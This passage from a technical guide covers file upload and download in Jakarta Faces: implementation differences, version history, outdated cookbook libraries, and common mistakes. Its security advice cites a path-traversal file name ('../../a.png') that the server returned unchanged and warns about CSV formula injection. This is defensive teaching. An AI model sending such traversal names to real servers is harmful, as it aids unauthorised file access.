For everything on this page the two implementations behaved the same: validation messages, the multipart limit (the 413 comes from Tomcat), the skipping of empty files, the headers of both downloads and the CSV bytes. One difference is not about files but matters when you script a test: MyFaces renders a hidden <formId>_SUBMIT field in every form and, in the scratch run, ignored a command request that did not send it, so a hand-written curl post must include that field (a real browser form sends it). Mojarra did not need it.

What Changed

  • JSF 2.2: h:inputFile appears. Before it the specification had no standard upload component.

  • Faces 4.0: multiple and accept are added to h:inputFile, and empty files (empty name or zero size) are skipped from the submitted value so that required works without extra checks in the bean.

  • Faces 4.1: the 4.1 changes listed by BalusC do not mention the upload component, and nothing in this page differs from 4.0.

  • Servlet: the upload API (Part, @MultipartConfig) is part of Servlet 3.0 and later; the jakarta.servlet package name is used since Servlet 5.0 (Jakarta EE 9).

Where the Books Are Outdated

JSF 2.0 Cookbook by Anghel Leonard (Packt, 2010) has upload and download recipes written when the standard had no upload component, so they use the file-upload components of Tomahawk and RichFaces. In the book’s concept list this covers file upload and download and export to PDF and Excel. Compare that with what exists now:

  • A standard component exists. h:inputFile has been part of Faces since 2.2 and needs no extra library and no request filter. The older approach of a servlet filter that parsed the multipart body (commonly with Apache Commons FileUpload) is obsolete, because the container parses it through @MultipartConfig.

  • Tomahawk and RichFaces are not options for new work. On Maven Central the newest Tomahawk release (org.apache.myfaces.tomahawk, with artifacts tomahawk12, tomahawk20 and tomahawk21) is 1.1.14 from October 2012, and the newest RichFaces release (org.richfaces) is 4.5.17.Final from June 2016 (checked 2026-10-08). Both predate the move to the jakarta.faces namespace, so their tags cannot be used on Faces 4.1 without a port.

  • Use the current alternatives. h:inputFile, OmniFaces o:inputFile and PrimeFaces p:fileUpload for uploads, and the ExternalContext recipe of this page, OmniFaces Faces.sendFile or PrimeFaces p:fileDownload for downloads.

  • The security advice is missing from the era’s recipes. Content-type sniffing by signature, generated stored names and CSV formula escaping are not part of a 2010 tutorial. Apply the sections above even when adapting an old recipe.

The PrimeFaces Cookbook (Mert Çalışkan and Oleg Varaksin, second edition, Packt, 2015) covers PrimeFaces upload and download components of PrimeFaces 5; the idea (a component with progress and drag and drop) holds, but attribute names and defaults changed across later PrimeFaces versions, so check the PrimeFaces 16 documentation. The statements about both books rest on the section’s concept list for each book and on the Maven Central metadata above, not on a page-by-page reading.

Common Mistakes

  • A form without enctype="multipart/form-data". The file never arrives; in non-production stages Faces adds a message, in production it does not.

  • Trusting accept, the extension or Content-Type. All are client-controlled; check the content.

  • Using getSubmittedFileName() as a path. It returned ../../a.png unchanged. Generate names.

  • Keeping a Part after the request. The container reclaims its storage; copy what you need.

  • No hard limit. With the default @MultipartConfig a single request can be as large as the container allows.

  • Forgetting responseComplete() in a download action, or running the download inside an Ajax request.

  • Putting user text in a CSV cell unescaped. A title beginning with = becomes a formula in the victim’s spreadsheet.

  • Serving user uploads inline without nosniff and a fixed content type.